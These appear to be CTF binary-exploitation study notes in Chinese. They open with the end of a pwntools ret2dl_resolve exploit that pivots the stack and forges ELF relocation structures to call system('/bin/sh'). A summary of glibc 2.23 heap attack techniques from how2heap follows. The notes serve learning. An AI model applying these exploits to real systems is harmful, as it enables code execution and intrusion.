payload += p64(write_got)
payload += p64(0x8)
payload += p64(link_map_got)
payload += p64(0x1)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正
payload += p64(vulfun_addr) #返回到vulnerable_function处

io.send(payload)
io.recvuntil("Input:\n")
link_map_addr = u64(io.recv(8))
log.info("Leak link_map address:%#x" %(link_map_addr))

(3)进行栈劫持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

payload = ""
payload += 'A'*136 #padding
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(read_got) #使用万能gadgets调用read向新栈中写入数据
payload += p64(0x500)
payload += p64(new_stack_addr)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正

payload += p64(pop_rbp_ret)
#返回到pop rbp; retn,劫持栈。此处直接劫持栈是因为如果继续修改link_map+0x1c8会导致ROP链过长,栈上的环境变量指针被破坏,从而导致system失败。
payload += p64(new_stack_addr)
payload += p64(leave_ret)

io.send(payload)

(4)伪造两大结构体和必要数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#注释头

fake_Elf64_Rela_base_addr = new_stack_addr + 0x150
#新栈上选择一块地址作为伪造的Elf64_Rela结构体基址,稍后还要通过计算进行0x18字节对齐

fake_Elf64_Sym_base_addr = new_stack_addr + 0x190
#新栈上选择一块地址作为伪造的Elf64_Sym结构体基址,稍后还要通过计算进行0x18字节对齐,与上一个结构体之间留出一段长度防止重叠

fake_st_name = new_stack_addr + 0x1c0 - dynstr_addr
#计算伪造的st_name数值,为伪造函数字符串system与.dynstr节开头间的偏移

binsh_addr = new_stack_addr + 0x1c8
#"/bin/sh\x00"所在地址,计算得到的

#计算两个结构体的对齐填充字节数,两个结构体大小都是0x18
rel_plt_align = 0x18 - (fake_Elf64_Rela_base_addr - relplt_addr) % 0x18
rel_sym_align = 0x18 - (fake_Elf64_Sym_base_addr - dynsym_addr) % 0x18

#加上对齐值后为结构体真正地址
fake_Elf64_Rela_addr = fake_Elf64_Rela_base_addr + rel_plt_align
fake_Elf64_Sym_addr = fake_Elf64_Sym_base_addr + rel_sym_align

fake_reloc_arg = (fake_Elf64_Rela_addr - relplt_addr)/0x18
#计算伪造的reloc_arg,由于是数组索引下标,所以需要除以结构体大小0x18

fake_r_info = (((fake_Elf64_Sym_addr - dynsym_addr)/0x18) << 0x20) | 0x7
#伪造r_info,偏移要计算成下标,除以Elf64_Sym的大小,最后一字节为0x7


fake_Elf64_Rela_data = ""
fake_Elf64_Rela_data += p64(write_got)
#r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
fake_Elf64_Rela_data += p64(fake_r_info)
fake_Elf64_Rela_data += p64(0)

fake_Elf64_Sym_data = ""
fake_Elf64_Sym_data += p32(fake_st_name)
fake_Elf64_Sym_data += p8(0x12)
#后面的数据直接套用write函数的Elf64_Sym结构体,这里要注意数据大小
fake_Elf64_Sym_data += p8(0)
fake_Elf64_Sym_data += p16(0)
fake_Elf64_Sym_data += p64(0)
fake_Elf64_Sym_data += p64(0)

(5)执行流程

将link_map+0x1c8置0之后,直接再次重定位write函数,劫持为system函数,getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#注释头

#使用万能gadgets调用read把link_map+0x1c8置为0
payload = ""
payload += "AAAAAAAA"
payload += p64(universal_gadget1)
payload += p64(0x0)
payload += p64(0x1) #rbp设置为1
payload += p64(read_got)
payload += p64(0x8)
payload += p64(link_map_addr + 0x1c8)
payload += p64(0x0)
payload += p64(universal_gadget2)
payload += 'A'*0x38 #栈修正

#为system函数设置参数"/bin/sh\x00",由于plt[0]函数调用重定位取参仍然是从栈上取,不会用到rdi寄存器传参,所以这里直接先传参也可。
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)

payload += p64(plt0_addr)
payload += p64(fake_reloc_arg)
payload = payload.ljust(0x150, "A") #padding

payload += 'A'*rel_plt_align
payload += fake_Elf64_Rela_data
payload = payload.ljust(0x190, "A") #padding

payload += 'A'*rel_sym_align
payload += fake_Elf64_Sym_data
payload = payload.ljust(0x1c0, "A") #padding
payload += "system\x00\x00"
payload += "/bin/sh\x00"

io.send(payload) #写入该段payload,将数据读取到新栈
io.send(p64(0)) #执行新栈上的相关代码,设置link_map+0x1c8为0。

io.interactive()

▲其实还是一知半解,等先打完基础再来深究吧。

参考资料:

https://wiki.x10sec.org/pwn/linux/stackoverflow/advanced-rop-zh/

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44816&ctid=157

https://syst3mfailure.github.io/ret2dl_resolve

https://xz.aliyun.com/t/5722

how2heap_libc2.23_summary

1.first_fit:

unsortedbin中切割原则,常用来泄露地址

2.fastbin_dup:

1
2
3
4
5
#注释头

a=malloc(x),b=malloc(x),c=mallox(x)
free(a),free(b),free(a)
malloc(x)=a,malloc(x)=b,malloc(x)=a

3.fastbin_dup_into_stack:

1
2
3
4
5
6
7
8
9
10
11
#注释头

a=malloc(x),b=malloc(x),c=mallox(x)
free(a),free(b),free(a)

//malloc(x)得到a,此时a还在fastbin中,之后修改a的fd为fakechunk,使得:
fastbinsY.fd->b,b.fd->a,a.fd->fakechunk

//再次申请得到fakechunk
malloc(x)=b,malloc(x)=a,malloc(x)=fakechunk
//这里就可以使得fakechunk位于栈上,从而使得堆分配到栈中控制栈上的原先不可控数据。

4.fastbin_dup_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

a=malloc(x),b=malloc(x)
free(a)//a进入fastbin中

c = malloc(0x400)
//申请large bin的时候已经执行了malloc_consolidate,使得fastbin中的a放入smallbin中

free(a)
//并不会报错,因为这个时候a已经被放到了smallbin之中,fastbin中没有a,之后a再次进入fastbin中

//此时的a中信息如下:
a.bk->smallbin
a.fd->0//由于处在fastbin的第一个,所以fd被清空

malloc(x) = a//这时候a中存在smallbin的信息,可以进行泄露
malloc(x) = a//可以再次申请,再次得到a

5.house_of_einherjar:

在当前chunk中构造fakechunk,利用溢出漏洞修改下一个chunk的presize和pre_inuse。之后释放下一个chunk连上fakechunk一起进入Bins中,再通过当前chunk修改进入bins中chunk的fd,bk,从而实现任意地址读写。

(1)申请三个chunk,chunk1,chunk2,chunk3

(2)在chunk1中制造fakechunk//这里需要绕过一些检查

①构造:

1
2
3
#注释头

fake_chunk->size = sizeof(chunk1)-0x10

绕过pre_size的检查:

1
2
3
4
#注释头

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

这段代码意思就是当前chunk的size如果不等于下一个chunk的pre_size域,则出错

②构造:

1
2
3
4
#注释头

fake_chunk->fd = chunk1
fake_chunk->bk = chunk1

绕过双向链表的检查:

1
2
3
4
#注释头

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");

这段代码意思就是下一个chunk,也就是BK,其fd不等于当前chunk地址,或者上一个chunk,也就是FD,其bk不等于当前chunk地址,满足其中一个就出错。

(3)利用溢出漏洞,改掉chunk2的pre_size和pre_inuse,free掉chunk2,这样fakechunk+chunk2一起被放入bins中,形成chunkA

(4)通过chunk1修改chunkA的fd,bk,使其指向想更改的地址addr

(5)再malloc(sizeof(fakechunk+chunk2))就可以得到首地址为fakechunk,大小为fakechunk+chunk2的chunkA了。之后再malloc一次就得到addr的chunk

6.house_of_force:通过修改topchunk的size域获得任意读写的chunk

(1)修改topchunk的size域,使之变成一个大数。

(2)malloc(-size)。要确保这个-size<topchunk.size(补码形式)

(3)之后topchunk就会被抬升到-(size-0x10)的位置(chunk内存对齐的原因,具体调试一下就能判断被抬升到哪里了:p main_arena.top)然后才会从被抬升之后的topchunk开始分配size大小的chunk。

(4)这时候再正常malloc,就可分配到从被抬升之后分配完size的topchunk地址处切割的chunk了,实现任意地址读写。

7.house_of_lore:

针对small bin进行攻击的,如果题目设置malloc大小限制大于fastbin时,就可以利用了。

(1)分配一个small bin大小的chunk_ptr,和另一个chunk 用来间隔 top chunk。

(2)在栈上伪造两个地址fake chunk1和fake chunk2,从smallbin中申请需要满足以下条件:

①// 获取 small bin 中倒数第二个 chunk 。

bck = victim->bk;

▲需要设置chunk_ptr->bk = fake chunk1

②// 检查 bck->fd 是不是 victim,防止伪造

1
2
3
4
5
6
#注释头

if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

▲需要设置fake chunk1->fd = chunk_ptr,同时由于之后申请fake chunk1时也需要满足这个条件,所以也需要设置fake chunk2->fd = fake chunk1,fake chunk1->bk = fake chunk2

(3)释放掉chunk_ptr,唯一需要漏洞利用的是设置victim->bk = fake chunk1,这里需要获取栈上的地址,并且存在类似UAF漏洞之类的来设置bk指针。设置之后现在smallbin链表中结构为fake chunk2->fake chunk1->chunk_ptr。

(4)之后申请sizeof(chunk_ptr),将之申请出来,再申请一次即可将fake chun1申请出来,实现任意地址申请堆块。

▲注意这里针对smallbin的攻击是不需要设置size位的,不存在这方面的条件。

8.house_of_orange:无free函数的泄露地址

(1)修改topchunk的size域,使之变小,但需要满足下列条件:

①伪造的 size 必须要对齐到内存页,例如topchunk_addr+topchunk_size=0x1000*x。

②size 要大于 MINSIZE(0x10)

③size 要小于之后申请的 chunk size + MINSIZE(0x10)

④size 的 prev inuse 位必须为 1

用于通过之后拓展topchunk的sysmalloc函数中的下列检查:

1
2
3
4
5
6
#注释头

assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

(2)申请一个大于伪造之后topchunk_size,小于128K(0x1f400)的chunk。前者是为了调用sysmalloc函数,后者是为了使得分配方式为brk拓展topchunk。

①brk是将数据段(.data)的最高地址指针_edata往高地址推,原先的topchunk被放入unsortedbin中,然后再从新的topchunk处开始分配。(一般会往高地址推0x21000这么大,基本就是再加一个初始topchunk大小)

②mmap是在进程的虚拟地址空间中(堆和栈中间,称为文件映射区域的地方)找一块空闲的虚拟内存,这样原先的topchunk不会被放到unsortedbin中,那么再分配就是从这个mmap中分配,没办法泄露地址了。

(3)再申请一块内存,就会从unsortedbin中的old_topchunk切割,得到的chunk的fd和bk都带有信息。如果程序没有将申请的chunk内存初始化,那么就可以泄露地址。另外由于在执行切割之前,old_topchunk会被先整理到smallbin或者largebin中(具体看old_chunk的size),所以申请回来的chunk中的fd和bk的内容应该是对应smallbin或者largebin链表头的地址,不是unsortedbin链表头main_aren+88的地址。这里需要具体调试一下好计算偏移,方便泄露地址。

9.house_of_roman:无leak的利用,爆破

(1)申请3个chunk,chunkA,chunkB,chunkC,分别为0x20,0xd0,0x70.(A用来触发单字节溢出,修改chunkB的size位)

(2)在chunkB+0x78处设置p64(0x61),用来过检查用的。(6+7=13(0xd))

(3)释放chunkB , chunkB进入unsortedbin , 这样chunkB的fd和bk处都有 main_arena 的地址。

(4)再次分配 0xd0 ,会分配到chunkB。以上步骤都是为了使得chunkB中带上main_arena的地址。

(5)再申请三个0x70大小的chunk,chunkD,chunkE,chunkF,chunkF用来占位用,防止被topchunk吞并

(6)释放掉chunkC,chunkD,使之进入fastbin中,为chunkD->chunkC。

(7)利用UAF修改chunkD的fd的低字节,使其指向chunkB,即将0xf0修改为0x20即可:

1
2
3
4
5
6
7
8
#注释头

0xn000 chunkA
0xn020 chunkB
0xn0f0 chunkC
0xn160 chunkD
0xn1d0 chunkE
0xn240 chunkF

这里能够通过检查,因为前面将chunkB的size设置成了0x70,并且chunkB+0x78处也被设置成了0x61,所以可以通过fastbin的检查。伪造了一个0x70的chunk。那么0x70处的fastbin就变成chunkD->chunkB

(8)修改chunkB的fd指针最后两个字节为\xaa,\xed使其指向malloc_hook - 0x23处。这里就需要用到爆破了,\xaa中的第一个a是不确定的,有16种可能性。所以直接设置成a,成功概率应该为1/16。

img

img

img

而这里需要指向malloc_hook - 0x23的原因是因为既要包含__malloc_hook,又要使得这个chunk的size位为0x7f,观察内存可得,这是最优选择,选取的是_IO_wide_data_0+304这个数据中的7f,其它的7f都会带上其它的数据。

(9)修改完chunkB的fd,就又成功伪造了一个0x70大小的chunk,那么0x70的fastbin中就变成:chunkD->chunkB->malloc_hook - 0x23

(10)现在连续申请三次0x70大小的chunk,最后一个chunk就得到了malloc_hook - 0x23处的chunk,那么现在就可以计算偏移修改malloc+hook的值,修改最后三个字节,劫持为one_gadget。最后12位Bits可以通过固定偏移算出来,不会改变,但是前面的12位bits会改变,需要爆破。这里可以通过刚才的\xaa中的a来减少爆破次数,\xaa中第一个a已经确定,那么就可以通过偏移算出来随机化之后的one_gadget中的倒数第二个字节中的第一个16位数,这样就只需要爆破倒数第三个字节即可。那么总共需要的数学期望就应该是(0xff+1)*(0xf+1)=4096次。

(11)爆破成功后还需要触发__malloc_hook,通过连续free两次同一个chunk,使得malloc检查到错误(主要会调用 __libc_message 来执行abort函数)。就可以触发malloc_printerr函数,从而调用__malloc_hook函数,进而getshell。

10.house_of_spirit:

(1)通过栈溢出修改栈上某个chunk指针,使其指向一个可控内存的栈地址,再修改该栈地址对应chunk的size位。

(2)通过修改下一个chunk的size绕过检查,然后free掉该chunk指针,再申请回来,就可以控制中间区域的内容了。

fakechunkA uncontral_data fakechunkB

中心思想就是将不可控的内存纳入一个可控的Chunk中,从而实现可控。

1
2
3
4
5
6
#注释头

//需要绕过的代码(_int_free函数)中:
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))

即fakechunkA的nextchunk,也就是fakechunkA+fakechunkA->size = fakechunkB的size位满足大于2*SIZE_SZ(64位程序中SIZE_SZ为8),小于av->system_mem(在main_arena中,默认为128kb),一般简单设置后都能满足。

11.large_bin_attack_1:任意可写地址写堆地址

(1)申请三个chunk,chunkA,chunkB,chunkC,大小依次为0x80,0x400,0x400,其中还需要插入其它的chunk防止合并,然后free掉chunkB,使其进入unsortedbin。

chunkA用来分割,chunkB和chunkC用来放入largebin中

(2)申请一个小于chunkA的chunk,触发unsortedbin整理,将chunkB整理到largebin中。然后chunkA被分割成chunkA_1,chunkA_2,chunkA_1返回给用户,chunkA_2进入unsortedbin中。

(3)free掉chunkC,使其进入unsortedbin中。

(4)利用漏洞修改chunkB的size,使其小于0x410。

(5)修改chunkB的bk为target_addr1-0x10,bk_nextsize为target_addr2_0x20。

(6)分配一个比chunA_2小的chunk,再次触发整理,将chunkC整理至largebin中。

(7)由于chunkB的size小于chunkC的size,所以会将chunkC插入largebin大小排列链表的头部,即以下代码:

▲大小排列链表的代码赋值过程:

1
2
3
4
#注释头

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

这里的victim就是chunkC,fwd就是chunkB,那么fwd->bk_nextsize就等于target_addr2-0x20。

①第一行代码就是:

chunkC->bk_nextsize被赋值为target_addr2-0x20

②第二行代码就是:

(target_addr2-0x20)->fd_nextsize被赋值为chunkC_addr,相当于

((target_addr2-0x20)+0x20)=chunkC_addr,即(target_addr2)=chunC_addr

▲释放顺序排列链表的代码赋值过程:

1
2
3
4
5
6
7
8
9
#注释头

bck = fwd->bk;
// ......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

以上就相当于是*(target_addr1)=chunC_addr

★综上所述,largebin attack的第一种利用方式就是将目的地址的值修改成一个堆地址。

12.large_bin_attack_2:实现overlap chunk

(1)申请四个chunk,chunkA,chunkB,chunkC,chunkD之后构造一个largebin大小排列的链表chunkA->chunkB,其中chunkA为0x420,chunkB为0x400,chunkC为0x400,未释放,chunkD用来占位防止合并。

(2)利用漏洞将chunkB的bk_nextsize伪造指向chunkC,同时将C的fd与bk构造好,将C的fd_nextsize与bk_nextsize赋值为0。

(3)当再次申请0x410大小的内存chunkE时,遍历chunkB->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将chunkC从双链表取下,返回给用户。

(4)那么申请出来的chunkE的地址会为chunkC的地址,即chunkE和chunkC为同一内存块,实现overlap chunk的构造。

13.mmap_overlapping_chunks:暂时不好找

14.overlapping_chunks:

(1)free之前修改size,吞并邻块进入bin

(2)free之后修改size,吞并邻块申请出来。

15.poison_null_byte:实现overlap chunk

(1)malloc三个chunk,chunkA,chunkB,chunkC。

(2)利用漏洞,通过chunkB修改chunkC的pre_size位和pre_inuse位,使得chunkC的pre_size位为chunkA_size+chunkB_size。

(3)free掉chunkC,此时chunkC的pre_inuse位为free状态,触发向上合并,将chunkA,chunkB,chunkC一起free掉。从而实现chunkB的overlap。

但是ubuntu16.04打了补丁,需要绕过检查才行。

16.unsafe_unlink:通常存储chunk的结构体全局指针来进行unlink攻击。

(1)找到题目中的chunklist位置,并分清结构体中是size在前还是chunk在前。

(2)这里假设我们想要控制chunklist[0]中的chunk。申请chunk0,chunk1,chunk2。在chunk0中构造fakechunk,并设置:

1
2
3
4
#注释头

fakechunk->fd = chunklist_addr-0x18
fakechunk->bk = chunklist_addr-0x10

(3)通过堆溢出或者off-by-one将chunk1的pre_size设置成fakechunk_size,将chunk1的size设置成fakechunk_size+chunk1_size。

(4)free掉chunk1,这样就会触发向上合并,将fakechunk和chunk1合并。同时,由于合并过程中调用了unlink函数,那么chunklist[0].chunk就会指向chunlist_addr-0x18,对应的就是我们的chunk0指向chunklist_addr-0x18。

(5)现在修改chunk0就相当于修改*(chunklist_addr-0x18),从而将chunk0指向任意地址,在任意地址实现读写。

17.unsorted_bin_attack:任意地址写&main_arena+0x58

(1)利用漏洞,修改处在unsortedbin中将要被拿出来的chunk的bk指针,使其指向traget-0x10

(2)申请这个将要被拿出来的chunk,会有如下代码被运行:

1
2
3
4
5
6
7
#注释头

bck = victim->bk;
..................................................
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

①第一行代码中victim就是该chunk,那么bck就会指向traget_addr-0x10。

②第四行代码就是将bck的值赋值给unsortedbin的bk指针,使其指向traget_addr-0x10。

③第五行代码就是将unsortedbin的地址赋值给bck->fd,也就是*(target_addr-0x10+0x10)被赋值为unsortedbin的地址,即&main_arena+0x58。

★综上,unsortedbin attack就是将任意地址处的值修改成&main_arena+0x58。

▲一般unsortedbin attack是用来配合fastbin attack来使用的。因为fastbin attack需要伪造fakechunk的size,使其等于0x71或0x7f用来绕过检查.那么这时候就可以用到unsortedbin attack任意地址写&main_arena+0x58这个技巧了,可以使得fakechunk的size等于0x7f,从而绕过检查。

18.unsorted_bin_into_stack:

(1)利用漏洞,修改unsortedbin中位于链表尾部的chunk_last的bk指针使其指向栈上伪造的一个fakechunk,使其size不等于原先unsortedbin中chunk_last的size。

(2)申请fakechunk的size大小的chunk,从unsortedbin链表尾部的chunk开始查找,首先chunk_last的size不符合,接着查找chunk_last->bk,也就是fakechunk,发现size符号,那么就返回该fakechunk给用户。

这里的fakechunk就可以伪造到栈上,从而控制栈上原先不可控的内容。

参考资料:

ctfwiki

https://github.com/shellphish/how2heap

https://bbs.pediy.com/thread-259269.htm#msg_header_h2_12